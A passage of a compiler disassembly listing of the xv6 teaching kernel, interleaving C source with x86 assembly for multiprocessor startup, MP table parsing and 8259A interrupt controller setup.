80 movl $0x8010957f,(%esp) 80104111: e8 8b c2 ff ff call 801003a1 <cprintf> idtinit(); // load idt register 80104116: e8 94 33 00 00 call 801074af <idtinit> xchg(&cpu->started, 1); // tell startothers() we're up 8010411b: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80104121: 05 a8 00 00 00 add $0xa8,%eax 80104126: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 8010412d: 00 8010412e: 89 04 24 mov %eax,(%esp) 80104131: e8 d4 fe ff ff call 8010400a <xchg> scheduler(); // start running processes 80104136: e8 56 14 00 00 call 80105591 <scheduler> 8010413b <startothers>: pde_t entrypgdir[]; // For entry.S // Start the non-boot (AP) processors. static void startothers(void) { 8010413b: 55 push %ebp 8010413c: 89 e5 mov %esp,%ebp 8010413e: 53 push %ebx 8010413f: 83 ec 24 sub $0x24,%esp char *stack; // Write entry code to unused memory at 0x7000. // The linker has placed the image of entryother.S in // _binary_entryother_start. code = p2v(0x7000); 80104142: c7 04 24 00 70 00 00 movl $0x7000,(%esp) 80104149: e8 af fe ff ff call 80103ffd <p2v> 8010414e: 89 45 f0 mov %eax,-0x10(%ebp) memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); 80104151: b8 8a 00 00 00 mov $0x8a,%eax 80104156: 89 44 24 08 mov %eax,0x8(%esp) 8010415a: c7 44 24 04 2c c5 10 movl $0x8010c52c,0x4(%esp) 80104161: 80 80104162: 8b 45 f0 mov -0x10(%ebp),%eax 80104165: 89 04 24 mov %eax,(%esp) 80104168: e8 60 1d 00 00 call 80105ecd <memmove> for(c = cpus; c < cpus+ncpu; c++){ 8010416d: c7 45 f4 a0 3b 11 80 movl $0x80113ba0,-0xc(%ebp) 80104174: e9 86 00 00 00 jmp 801041ff <startothers+0xc4> if(c == cpus+cpunum()) // We've started already. 80104179: e8 11 f6 ff ff call 8010378f <cpunum> 8010417e: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax 80104184: 05 a0 3b 11 80 add $0x80113ba0,%eax 80104189: 3b 45 f4 cmp -0xc(%ebp),%eax 8010418c: 74 69 je 801041f7 <startothers+0xbc> continue; // Tell entryother.S what stack to use, where to enter, and what // pgdir to use. We cannot use kpgdir yet, because the AP processor // is running in low memory, so we use entrypgdir for the APs too. stack = kalloc(); 8010418e: e8 44 f2 ff ff call 801033d7 <kalloc> 80104193: 89 45 ec mov %eax,-0x14(%ebp) *(void**)(code-4) = stack + KSTACKSIZE; 80104196: 8b 45 f0 mov -0x10(%ebp),%eax 80104199: 83 e8 04 sub $0x4,%eax 8010419c: 8b 55 ec mov -0x14(%ebp),%edx 8010419f: 81 c2 00 10 00 00 add $0x1000,%edx 801041a5: 89 10 mov %edx,(%eax) *(void**)(code-8) = mpenter; 801041a7: 8b 45 f0 mov -0x10(%ebp),%eax 801041aa: 83 e8 08 sub $0x8,%eax 801041ad: c7 00 da 40 10 80 movl $0x801040da,(%eax) *(int**)(code-12) = (void *) v2p(entrypgdir); 801041b3: 8b 45 f0 mov -0x10(%ebp),%eax 801041b6: 8d 58 f4 lea -0xc(%eax),%ebx 801041b9: c7 04 24 00 b0 10 80 movl $0x8010b000,(%esp) 801041c0: e8 2b fe ff ff call 80103ff0 <v2p> 801041c5: 89 03 mov %eax,(%ebx) lapicstartap(c->id, v2p(code)); 801041c7: 8b 45 f0 mov -0x10(%ebp),%eax 801041ca: 89 04 24 mov %eax,(%esp) 801041cd: e8 1e fe ff ff call 80103ff0 <v2p> 801041d2: 8b 55 f4 mov -0xc(%ebp),%edx 801041d5: 0f b6 12 movzbl (%edx),%edx 801041d8: 0f b6 d2 movzbl %dl,%edx 801041db: 89 44 24 04 mov %eax,0x4(%esp) 801041df: 89 14 24 mov %edx,(%esp) 801041e2: e8 2e f6 ff ff call 80103815 <lapicstartap> // wait for cpu to finish mpmain() while(c->started == 0) 801041e7: 90 nop 801041e8: 8b 45 f4 mov -0xc(%ebp),%eax 801041eb: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax 801041f1: 85 c0 test %eax,%eax 801041f3: 74 f3 je 801041e8 <startothers+0xad> 801041f5: eb 01 jmp 801041f8 <startothers+0xbd> code = p2v(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); for(c = cpus; c < cpus+ncpu; c++){ if(c == cpus+cpunum()) // We've started already. continue; 801041f7: 90 nop // The linker has placed the image of entryother.S in // _binary_entryother_start. code = p2v(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); for(c = cpus; c < cpus+ncpu; c++){ 801041f8: 81 45 f4 bc 00 00 00 addl $0xbc,-0xc(%ebp) 801041ff: a1 80 41 11 80 mov 0x80114180,%eax 80104204: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax 8010420a: 05 a0 3b 11 80 add $0x80113ba0,%eax 8010420f: 3b 45 f4 cmp -0xc(%ebp),%eax 80104212: 0f 87 61 ff ff ff ja 80104179 <startothers+0x3e> // wait for cpu to finish mpmain() while(c->started == 0) ; } } 80104218: 83 c4 24 add $0x24,%esp 8010421b: 5b pop %ebx 8010421c: 5d pop %ebp 8010421d: c3 ret ... 80104220 <p2v>: 80104220: 55 push %ebp 80104221: 89 e5 mov %esp,%ebp 80104223: 8b 45 08 mov 0x8(%ebp),%eax 80104226: 05 00 00 00 80 add $0x80000000,%eax 8010422b: 5d pop %ebp 8010422c: c3 ret 8010422d <inb>: // Routines to let C code use special x86 instructions. static inline uchar inb(ushort port) { 8010422d: 55 push %ebp 8010422e: 89 e5 mov %esp,%ebp 80104230: 53 push %ebx 80104231: 83 ec 14 sub $0x14,%esp 80104234: 8b 45 08 mov 0x8(%ebp),%eax 80104237: 66 89 45 e8 mov %ax,-0x18(%ebp) uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010423b: 0f b7 55 e8 movzwl -0x18(%ebp),%edx 8010423f: 66 89 55 ea mov %dx,-0x16(%ebp) 80104243: 0f b7 55 ea movzwl -0x16(%ebp),%edx 80104247: ec in (%dx),%al 80104248: 89 c3 mov %eax,%ebx 8010424a: 88 5d fb mov %bl,-0x5(%ebp) return data; 8010424d: 0f b6 45 fb movzbl -0x5(%ebp),%eax } 80104251: 83 c4 14 add $0x14,%esp 80104254: 5b pop %ebx 80104255: 5d pop %ebp 80104256: c3 ret 80104257 <outb>: "memory", "cc"); } static inline void outb(ushort port, uchar data) { 80104257: 55 push %ebp 80104258: 89 e5 mov %esp,%ebp 8010425a: 83 ec 08 sub $0x8,%esp 8010425d: 8b 55 08 mov 0x8(%ebp),%edx 80104260: 8b 45 0c mov 0xc(%ebp),%eax 80104263: 66 89 55 fc mov %dx,-0x4(%ebp) 80104267: 88 45 f8 mov %al,-0x8(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010426a: 0f b6 45 f8 movzbl -0x8(%ebp),%eax 8010426e: 0f b7 55 fc movzwl -0x4(%ebp),%edx 80104272: ee out %al,(%dx) } 80104273: c9 leave 80104274: c3 ret 80104275 <mpbcpu>: int ncpu; uchar ioapicid; int mpbcpu(void) { 80104275: 55 push %ebp 80104276: 89 e5 mov %esp,%ebp return bcpu-cpus; 80104278: a1 64 c6 10 80 mov 0x8010c664,%eax 8010427d: 89 c2 mov %eax,%edx 8010427f: b8 a0 3b 11 80 mov $0x80113ba0,%eax 80104284: 89 d1 mov %edx,%ecx 80104286: 29 c1 sub %eax,%ecx 80104288: 89 c8 mov %ecx,%eax 8010428a: c1 f8 02 sar $0x2,%eax 8010428d: 69 c0 cf 46 7d 67 imul $0x677d46cf,%eax,%eax } 80104293: 5d pop %ebp 80104294: c3 ret 80104295 <sum>: static uchar sum(uchar *addr, int len) { 80104295: 55 push %ebp 80104296: 89 e5 mov %esp,%ebp 80104298: 83 ec 10 sub $0x10,%esp int i, sum; sum = 0; 8010429b: c7 45 f8 00 00 00 00 movl $0x0,-0x8(%ebp) for(i=0; i<len; i++) 801042a2: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 801042a9: eb 13 jmp 801042be <sum+0x29> sum += addr[i]; 801042ab: 8b 45 fc mov -0x4(%ebp),%eax 801042ae: 03 45 08 add 0x8(%ebp),%eax 801042b1: 0f b6 00 movzbl (%eax),%eax 801042b4: 0f b6 c0 movzbl %al,%eax 801042b7: 01 45 f8 add %eax,-0x8(%ebp) sum(uchar *addr, int len) { int i, sum; sum = 0; for(i=0; i<len; i++) 801042ba: 83 45 fc 01 addl $0x1,-0x4(%ebp) 801042be: 8b 45 fc mov -0x4(%ebp),%eax 801042c1: 3b 45 0c cmp 0xc(%ebp),%eax 801042c4: 7c e5 jl 801042ab <sum+0x16> sum += addr[i]; return sum; 801042c6: 8b 45 f8 mov -0x8(%ebp),%eax } 801042c9: c9 leave 801042ca: c3 ret 801042cb <mpsearch1>: // Look for an MP structure in the len bytes at addr. static struct mp* mpsearch1(uint a, int len) { 801042cb: 55 push %ebp 801042cc: 89 e5 mov %esp,%ebp 801042ce: 83 ec 28 sub $0x28,%esp uchar *e, *p, *addr; addr = p2v(a); 801042d1: 8b 45 08 mov 0x8(%ebp),%eax 801042d4: 89 04 24 mov %eax,(%esp) 801042d7: e8 44 ff ff ff call 80104220 <p2v> 801042dc: 89 45 f0 mov %eax,-0x10(%ebp) e = addr+len; 801042df: 8b 45 0c mov 0xc(%ebp),%eax 801042e2: 03 45 f0 add -0x10(%ebp),%eax 801042e5: 89 45 ec mov %eax,-0x14(%ebp) for(p = addr; p < e; p += sizeof(struct mp)) 801042e8: 8b 45 f0 mov -0x10(%ebp),%eax 801042eb: 89 45 f4 mov %eax,-0xc(%ebp) 801042ee: eb 3f jmp 8010432f <mpsearch1+0x64> if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 801042f0: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp) 801042f7: 00 801042f8: c7 44 24 04 90 95 10 movl $0x80109590,0x4(%esp) 801042ff: 80 80104300: 8b 45 f4 mov -0xc(%ebp),%eax 80104303: 89 04 24 mov %eax,(%esp) 80104306: e8 66 1b 00 00 call 80105e71 <memcmp> 8010430b: 85 c0 test %eax,%eax 8010430d: 75 1c jne 8010432b <mpsearch1+0x60> 8010430f: c7 44 24 04 10 00 00 movl $0x10,0x4(%esp) 80104316: 00 80104317: 8b 45 f4 mov -0xc(%ebp),%eax 8010431a: 89 04 24 mov %eax,(%esp) 8010431d: e8 73 ff ff ff call 80104295 <sum> 80104322: 84 c0 test %al,%al 80104324: 75 05 jne 8010432b <mpsearch1+0x60> return (struct mp*)p; 80104326: 8b 45 f4 mov -0xc(%ebp),%eax 80104329: eb 11 jmp 8010433c <mpsearch1+0x71> { uchar *e, *p, *addr; addr = p2v(a); e = addr+len; for(p = addr; p < e; p += sizeof(struct mp)) 8010432b: 83 45 f4 10 addl $0x10,-0xc(%ebp) 8010432f: 8b 45 f4 mov -0xc(%ebp),%eax 80104332: 3b 45 ec cmp -0x14(%ebp),%eax 80104335: 72 b9 jb 801042f0 <mpsearch1+0x25> if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) return (struct mp*)p; return 0; 80104337: b8 00 00 00 00 mov $0x0,%eax } 8010433c: c9 leave 8010433d: c3 ret 8010433e <mpsearch>: // 1) in the first KB of the EBDA; // 2) in the last KB of system base memory; // 3) in the BIOS ROM between 0xE0000 and 0xFFFFF. static struct mp* mpsearch(void) { 8010433e: 55 push %ebp 8010433f: 89 e5 mov %esp,%ebp 80104341: 83 ec 28 sub $0x28,%esp uchar *bda; uint p; struct mp *mp; bda = (uchar *) P2V(0x400); 80104344: c7 45 f4 00 04 00 80 movl $0x80000400,-0xc(%ebp) if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){ 8010434b: 8b 45 f4 mov -0xc(%ebp),%eax 8010434e: 83 c0 0f add $0xf,%eax 80104351: 0f b6 00 movzbl (%eax),%eax 80104354: 0f b6 c0 movzbl %al,%eax 80104357: 89 c2 mov %eax,%edx 80104359: c1 e2 08 shl $0x8,%edx 8010435c: 8b 45 f4 mov -0xc(%ebp),%eax 8010435f: 83 c0 0e add $0xe,%eax 80104362: 0f b6 00 movzbl (%eax),%eax 80104365: 0f b6 c0 movzbl %al,%eax 80104368: 09 d0 or %edx,%eax 8010436a: c1 e0 04 shl $0x4,%eax 8010436d: 89 45 f0 mov %eax,-0x10(%ebp) 80104370: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80104374: 74 21 je 80104397 <mpsearch+0x59> if((mp = mpsearch1(p, 1024))) 80104376: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp) 8010437d: 00 8010437e: 8b 45 f0 mov -0x10(%ebp),%eax 80104381: 89 04 24 mov %eax,(%esp) 80104384: e8 42 ff ff ff call 801042cb <mpsearch1> 80104389: 89 45 ec mov %eax,-0x14(%ebp) 8010438c: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 80104390: 74 50 je 801043e2 <mpsearch+0xa4> return mp; 80104392: 8b 45 ec mov -0x14(%ebp),%eax 80104395: eb 5f jmp 801043f6 <mpsearch+0xb8> } else { p = ((bda[0x14]<<8)|bda[0x13])*1024; 80104397: 8b 45 f4 mov -0xc(%ebp),%eax 8010439a: 83 c0 14 add $0x14,%eax 8010439d: 0f b6 00 movzbl (%eax),%eax 801043a0: 0f b6 c0 movzbl %al,%eax 801043a3: 89 c2 mov %eax,%edx 801043a5: c1 e2 08 shl $0x8,%edx 801043a8: 8b 45 f4 mov -0xc(%ebp),%eax 801043ab: 83 c0 13 add $0x13,%eax 801043ae: 0f b6 00 movzbl (%eax),%eax 801043b1: 0f b6 c0 movzbl %al,%eax 801043b4: 09 d0 or %edx,%eax 801043b6: c1 e0 0a shl $0xa,%eax 801043b9: 89 45 f0 mov %eax,-0x10(%ebp) if((mp = mpsearch1(p-1024, 1024))) 801043bc: 8b 45 f0 mov -0x10(%ebp),%eax 801043bf: 2d 00 04 00 00 sub $0x400,%eax 801043c4: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp) 801043cb: 00 801043cc: 89 04 24 mov %eax,(%esp) 801043cf: e8 f7 fe ff ff call 801042cb <mpsearch1> 801043d4: 89 45 ec mov %eax,-0x14(%ebp) 801043d7: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 801043db: 74 05 je 801043e2 <mpsearch+0xa4> return mp; 801043dd: 8b 45 ec mov -0x14(%ebp),%eax 801043e0: eb 14 jmp 801043f6 <mpsearch+0xb8> } return mpsearch1(0xF0000, 0x10000); 801043e2: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp) 801043e9: 00 801043ea: c7 04 24 00 00 0f 00 movl $0xf0000,(%esp) 801043f1: e8 d5 fe ff ff call 801042cb <mpsearch1> } 801043f6: c9 leave 801043f7: c3 ret 801043f8 <mpconfig>: // Check for correct signature, calculate the checksum and, // if correct, check the version. // To do: check extended table checksum. static struct mpconf* mpconfig(struct mp **pmp) { 801043f8: 55 push %ebp 801043f9: 89 e5 mov %esp,%ebp 801043fb: 83 ec 28 sub $0x28,%esp struct mpconf *conf; struct mp *mp; if((mp = mpsearch()) == 0 || mp->physaddr == 0) 801043fe: e8 3b ff ff ff call 8010433e <mpsearch> 80104403: 89 45 f4 mov %eax,-0xc(%ebp) 80104406: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 8010440a: 74 0a je 80104416 <mpconfig+0x1e> 8010440c: 8b 45 f4 mov -0xc(%ebp),%eax 8010440f: 8b 40 04 mov 0x4(%eax),%eax 80104412: 85 c0 test %eax,%eax 80104414: 75 0a jne 80104420 <mpconfig+0x28> return 0; 80104416: b8 00 00 00 00 mov $0x0,%eax 8010441b: e9 83 00 00 00 jmp 801044a3 <mpconfig+0xab> conf = (struct mpconf*) p2v((uint) mp->physaddr); 80104420: 8b 45 f4 mov -0xc(%ebp),%eax 80104423: 8b 40 04 mov 0x4(%eax),%eax 80104426: 89 04 24 mov %eax,(%esp) 80104429: e8 f2 fd ff ff call 80104220 <p2v> 8010442e: 89 45 f0 mov %eax,-0x10(%ebp) if(memcmp(conf, "PCMP", 4) != 0) 80104431: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp) 80104438: 00 80104439: c7 44 24 04 95 95 10 movl $0x80109595,0x4(%esp) 80104440: 80 80104441: 8b 45 f0 mov -0x10(%ebp),%eax 80104444: 89 04 24 mov %eax,(%esp) 80104447: e8 25 1a 00 00 call 80105e71 <memcmp> 8010444c: 85 c0 test %eax,%eax 8010444e: 74 07 je 80104457 <mpconfig+0x5f> return 0; 80104450: b8 00 00 00 00 mov $0x0,%eax 80104455: eb 4c jmp 801044a3 <mpconfig+0xab> if(conf->version != 1 && conf->version != 4) 80104457: 8b 45 f0 mov -0x10(%ebp),%eax 8010445a: 0f b6 40 06 movzbl 0x6(%eax),%eax 8010445e: 3c 01 cmp $0x1,%al 80104460: 74 12 je 80104474 <mpconfig+0x7c> 80104462: 8b 45 f0 mov -0x10(%ebp),%eax 80104465: 0f b6 40 06 movzbl 0x6(%eax),%eax 80104469: 3c 04 cmp $0x4,%al 8010446b: 74 07 je 80104474 <mpconfig+0x7c> return 0; 8010446d: b8 00 00 00 00 mov $0x0,%eax 80104472: eb 2f jmp 801044a3 <mpconfig+0xab> if(sum((uchar*)conf, conf->length) != 0) 80104474: 8b 45 f0 mov -0x10(%ebp),%eax 80104477: 0f b7 40 04 movzwl 0x4(%eax),%eax 8010447b: 0f b7 c0 movzwl %ax,%eax 8010447e: 89 44 24 04 mov %eax,0x4(%esp) 80104482: 8b 45 f0 mov -0x10(%ebp),%eax 80104485: 89 04 24 mov %eax,(%esp) 80104488: e8 08 fe ff ff call 80104295 <sum> 8010448d: 84 c0 test %al,%al 8010448f: 74 07 je 80104498 <mpconfig+0xa0> return 0; 80104491: b8 00 00 00 00 mov $0x0,%eax 80104496: eb 0b jmp 801044a3 <mpconfig+0xab> *pmp = mp; 80104498: 8b 45 08 mov 0x8(%ebp),%eax 8010449b: 8b 55 f4 mov -0xc(%ebp),%edx 8010449e: 89 10 mov %edx,(%eax) return conf; 801044a0: 8b 45 f0 mov -0x10(%ebp),%eax } 801044a3: c9 leave 801044a4: c3 ret 801044a5 <mpinit>: void mpinit(void) { 801044a5: 55 push %ebp 801044a6: 89 e5 mov %esp,%ebp 801044a8: 83 ec 38 sub $0x38,%esp struct mp *mp; struct mpconf *conf; struct mpproc *proc; struct mpioapic *ioapic; bcpu = &cpus[0]; 801044ab: c7 05 64 c6 10 80 a0 movl $0x80113ba0,0x8010c664 801044b2: 3b 11 80 if((conf = mpconfig(&mp)) == 0) 801044b5: 8d 45 e0 lea -0x20(%ebp),%eax 801044b8: 89 04 24 mov %eax,(%esp) 801044bb: e8 38 ff ff ff call 801043f8 <mpconfig> 801044c0: 89 45 f0 mov %eax,-0x10(%ebp) 801044c3: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 801044c7: 0f 84 9c 01 00 00 je 80104669 <mpinit+0x1c4> return; ismp = 1; 801044cd: c7 05 84 3b 11 80 01 movl $0x1,0x80113b84 801044d4: 00 00 00 lapic = (uint*)conf->lapicaddr; 801044d7: 8b 45 f0 mov -0x10(%ebp),%eax 801044da: 8b 40 24 mov 0x24(%eax),%eax 801044dd: a3 9c 3a 11 80 mov %eax,0x80113a9c for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 801044e2: 8b 45 f0 mov -0x10(%ebp),%eax 801044e5: 83 c0 2c add $0x2c,%eax 801044e8: 89 45 f4 mov %eax,-0xc(%ebp) 801044eb: 8b 45 f0 mov -0x10(%ebp),%eax 801044ee: 0f b7 40 04 movzwl 0x4(%eax),%eax 801044f2: 0f b7 c0 movzwl %ax,%eax 801044f5: 03 45 f0 add -0x10(%ebp),%eax 801044f8: 89 45 ec mov %eax,-0x14(%ebp) 801044fb: e9 f4 00 00 00 jmp 801045f4 <mpinit+0x14f> switch(*p){ 80104500: 8b 45 f4 mov -0xc(%ebp),%eax 80104503: 0f b6 00 movzbl (%eax),%eax 80104506: 0f b6 c0 movzbl %al,%eax 80104509: 83 f8 04 cmp $0x4,%eax 8010450c: 0f 87 bf 00 00 00 ja 801045d1 <mpinit+0x12c> 80104512: 8b 04 85 d8 95 10 80 mov -0x7fef6a28(,%eax,4),%eax 80104519: ff e0 jmp *%eax case MPPROC: proc = (struct mpproc*)p; 8010451b: 8b 45 f4 mov -0xc(%ebp),%eax 8010451e: 89 45 e8 mov %eax,-0x18(%ebp) if(ncpu != proc->apicid){ 80104521: 8b 45 e8 mov -0x18(%ebp),%eax 80104524: 0f b6 40 01 movzbl 0x1(%eax),%eax 80104528: 0f b6 d0 movzbl %al,%edx 8010452b: a1 80 41 11 80 mov 0x80114180,%eax 80104530: 39 c2 cmp %eax,%edx 80104532: 74 2d je 80104561 <mpinit+0xbc> cprintf("mpinit: ncpu=%d apicid=%d\n", ncpu, proc->apicid); 80104534: 8b 45 e8 mov -0x18(%ebp),%eax 80104537: 0f b6 40 01 movzbl 0x1(%eax),%eax 8010453b: 0f b6 d0 movzbl %al,%edx 8010453e: a1 80 41 11 80 mov 0x80114180,%eax 80104543: 89 54 24 08 mov %edx,0x8(%esp) 80104547: 89 44 24 04 mov %eax,0x4(%esp) 8010454b: c7 04 24 9a 95 10 80 movl $0x8010959a,(%esp) 80104552: e8 4a be ff ff call 801003a1 <cprintf> ismp = 0; 80104557: c7 05 84 3b 11 80 00 movl $0x0,0x80113b84 8010455e: 00 00 00 } if(proc->flags & MPBOOT) 80104561: 8b 45 e8 mov -0x18(%ebp),%eax 80104564: 0f b6 40 03 movzbl 0x3(%eax),%eax 80104568: 0f b6 c0 movzbl %al,%eax 8010456b: 83 e0 02 and $0x2,%eax 8010456e: 85 c0 test %eax,%eax 80104570: 74 15 je 80104587 <mpinit+0xe2> bcpu = &cpus[ncpu]; 80104572: a1 80 41 11 80 mov 0x80114180,%eax 80104577: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax 8010457d: 05 a0 3b 11 80 add $0x80113ba0,%eax 80104582: a3 64 c6 10 80 mov %eax,0x8010c664 cpus[ncpu].id = ncpu; 80104587: 8b 15 80 41 11 80 mov 0x80114180,%edx 8010458d: a1 80 41 11 80 mov 0x80114180,%eax 80104592: 69 d2 bc 00 00 00 imul $0xbc,%edx,%edx 80104598: 81 c2 a0 3b 11 80 add $0x80113ba0,%edx 8010459e: 88 02 mov %al,(%edx) ncpu++; 801045a0: a1 80 41 11 80 mov 0x80114180,%eax 801045a5: 83 c0 01 add $0x1,%eax 801045a8: a3 80 41 11 80 mov %eax,0x80114180 p += sizeof(struct mpproc); 801045ad: 83 45 f4 14 addl $0x14,-0xc(%ebp) continue; 801045b1: eb 41 jmp 801045f4 <mpinit+0x14f> case MPIOAPIC: ioapic = (struct mpioapic*)p; 801045b3: 8b 45 f4 mov -0xc(%ebp),%eax 801045b6: 89 45 e4 mov %eax,-0x1c(%ebp) ioapicid = ioapic->apicno; 801045b9: 8b 45 e4 mov -0x1c(%ebp),%eax 801045bc: 0f b6 40 01 movzbl 0x1(%eax),%eax 801045c0: a2 80 3b 11 80 mov %al,0x80113b80 p += sizeof(struct mpioapic); 801045c5: 83 45 f4 08 addl $0x8,-0xc(%ebp) continue; 801045c9: eb 29 jmp 801045f4 <mpinit+0x14f> case MPBUS: case MPIOINTR: case MPLINTR: p += 8; 801045cb: 83 45 f4 08 addl $0x8,-0xc(%ebp) continue; 801045cf: eb 23 jmp 801045f4 <mpinit+0x14f> default: cprintf("mpinit: unknown config type %x\n", *p); 801045d1: 8b 45 f4 mov -0xc(%ebp),%eax 801045d4: 0f b6 00 movzbl (%eax),%eax 801045d7: 0f b6 c0 movzbl %al,%eax 801045da: 89 44 24 04 mov %eax,0x4(%esp) 801045de: c7 04 24 b8 95 10 80 movl $0x801095b8,(%esp) 801045e5: e8 b7 bd ff ff call 801003a1 <cprintf> ismp = 0; 801045ea: c7 05 84 3b 11 80 00 movl $0x0,0x80113b84 801045f1: 00 00 00 bcpu = &cpus[0]; if((conf = mpconfig(&mp)) == 0) return; ismp = 1; lapic = (uint*)conf->lapicaddr; for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 801045f4: 8b 45 f4 mov -0xc(%ebp),%eax 801045f7: 3b 45 ec cmp -0x14(%ebp),%eax 801045fa: 0f 82 00 ff ff ff jb 80104500 <mpinit+0x5b> default: cprintf("mpinit: unknown config type %x\n", *p); ismp = 0; } } if(!ismp){ 80104600: a1 84 3b 11 80 mov 0x80113b84,%eax 80104605: 85 c0 test %eax,%eax 80104607: 75 1d jne 80104626 <mpinit+0x181> // Didn't like what we found; fall back to no MP. ncpu = 1; 80104609: c7 05 80 41 11 80 01 movl $0x1,0x80114180 80104610: 00 00 00 lapic = 0; 80104613: c7 05 9c 3a 11 80 00 movl $0x0,0x80113a9c 8010461a: 00 00 00 ioapicid = 0; 8010461d: c6 05 80 3b 11 80 00 movb $0x0,0x80113b80 return; 80104624: eb 44 jmp 8010466a <mpinit+0x1c5> } if(mp->imcrp){ 80104626: 8b 45 e0 mov -0x20(%ebp),%eax 80104629: 0f b6 40 0c movzbl 0xc(%eax),%eax 8010462d: 84 c0 test %al,%al 8010462f: 74 39 je 8010466a <mpinit+0x1c5> // Bochs doesn't support IMCR, so this doesn't run on Bochs. // But it would on real hardware. outb(0x22, 0x70); // Select IMCR 80104631: c7 44 24 04 70 00 00 movl $0x70,0x4(%esp) 80104638: 00 80104639: c7 04 24 22 00 00 00 movl $0x22,(%esp) 80104640: e8 12 fc ff ff call 80104257 <outb> outb(0x23, inb(0x23) | 1); // Mask external interrupts. 80104645: c7 04 24 23 00 00 00 movl $0x23,(%esp) 8010464c: e8 dc fb ff ff call 8010422d <inb> 80104651: 83 c8 01 or $0x1,%eax 80104654: 0f b6 c0 movzbl %al,%eax 80104657: 89 44 24 04 mov %eax,0x4(%esp) 8010465b: c7 04 24 23 00 00 00 movl $0x23,(%esp) 80104662: e8 f0 fb ff ff call 80104257 <outb> 80104667: eb 01 jmp 8010466a <mpinit+0x1c5> struct mpproc *proc; struct mpioapic *ioapic; bcpu = &cpus[0]; if((conf = mpconfig(&mp)) == 0) return; 80104669: 90 nop // Bochs doesn't support IMCR, so this doesn't run on Bochs. // But it would on real hardware. outb(0x22, 0x70); // Select IMCR outb(0x23, inb(0x23) | 1); // Mask external interrupts. } } 8010466a: c9 leave 8010466b: c3 ret 8010466c <outb>: "memory", "cc"); } static inline void outb(ushort port, uchar data) { 8010466c: 55 push %ebp 8010466d: 89 e5 mov %esp,%ebp 8010466f: 83 ec 08 sub $0x8,%esp 80104672: 8b 55 08 mov 0x8(%ebp),%edx 80104675: 8b 45 0c mov 0xc(%ebp),%eax 80104678: 66 89 55 fc mov %dx,-0x4(%ebp) 8010467c: 88 45 f8 mov %al,-0x8(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010467f: 0f b6 45 f8 movzbl -0x8(%ebp),%eax 80104683: 0f b7 55 fc movzwl -0x4(%ebp),%edx 80104687: ee out %al,(%dx) } 80104688: c9 leave 80104689: c3 ret 8010468a <picsetmask>: // Initial IRQ mask has interrupt 2 enabled (for slave 8259A). static ushort irqmask = 0xFFFF & ~(1<<IRQ_SLAVE); static void picsetmask(ushort mask) { 8010468a: 55 push %ebp 8010468b: 89 e5 mov %esp,%ebp 8010468d: 83 ec 0c sub $0xc,%esp 80104690: 8b 45 08 mov 0x8(%ebp),%eax 80104693: 66 89 45 fc mov %ax,-0x4(%ebp) irqmask = mask; 80104697: 0f b7 45 fc movzwl -0x4(%ebp),%eax 8010469b: 66 a3 00 c0 10 80 mov %ax,0x8010c000 outb(IO_PIC1+1, mask); 801046a1: 0f b7 45 fc movzwl -0x4(%ebp),%eax 801046a5: 0f b6 c0 movzbl %al,%eax 801046a8: 89 44 24 04 mov %eax,0x4(%esp) 801046ac: c7 04 24 21 00 00 00 movl $0x21,(%esp) 801046b3: e8 b4 ff ff ff call 8010466c <outb> outb(IO_PIC2+1, mask >> 8); 801046b8: 0f b7 45 fc movzwl -0x4(%ebp),%eax 801046bc: 66 c1 e8 08 shr $0x8,%ax 801046c0: 0f b6 c0 movzbl %al,%eax 801046c3: 89 44 24 04 mov %eax,0x4(%esp) 801046c7: c7 04 24 a1 00 00 00 movl $0xa1,(%esp) 801046ce: e8 99 ff ff ff call 8010466c <outb> } 801046d3: c9 leave 801046d4: c3 ret 801046d5 <picenable>: void picenable(int irq) { 801046d5: 55 push %ebp 801046d6: 89 e5 mov %esp,%ebp 801046d8: 53 push %ebx 801046d9: 83 ec 04 sub $0x4,%esp picsetmask(irqmask & ~(1<<irq)); 801046dc: 8b 45 08 mov 0x8(%ebp),%eax 801046df: ba 01 00 00 00 mov $0x1,%edx 801046e4: 89 d3 mov %edx,%ebx 801046e6: 89 c1 mov %eax,%ecx 801046e8: d3 e3 shl %cl,%ebx 801046ea: 89 d8 mov %ebx,%eax 801046ec: 89 c2 mov %eax,%edx 801046ee: f7 d2 not %edx 801046f0: 0f b7 05 00 c0 10 80 movzwl 0x8010c000,%eax 801046f7: 21 d0 and %edx,%eax 801046f9: 0f b7 c0 movzwl %ax,%eax 801046fc: 89 04 24 mov %eax,(%esp) 801046ff: e8 86 ff ff ff call 8010468a <picsetmask> } 80104704: 83 c4 04 add $0x4,%esp 80104707: 5b pop %ebx 80104708: 5d pop %ebp 80104709: c3 ret 8010470a <picinit>: // Initialize the 8259A interrupt controllers. void picinit(void) { 8010470a: 55 push %ebp 8010470b: 89 e5 mov %esp,%ebp 8010470d: 83 ec 08 sub $0x8,%esp // mask all interrupts outb(IO_PIC1+1, 0xFF); 80104710: c7 44 24 04 ff 00 00 movl $0xff,0x4(%esp) 80104717: 00 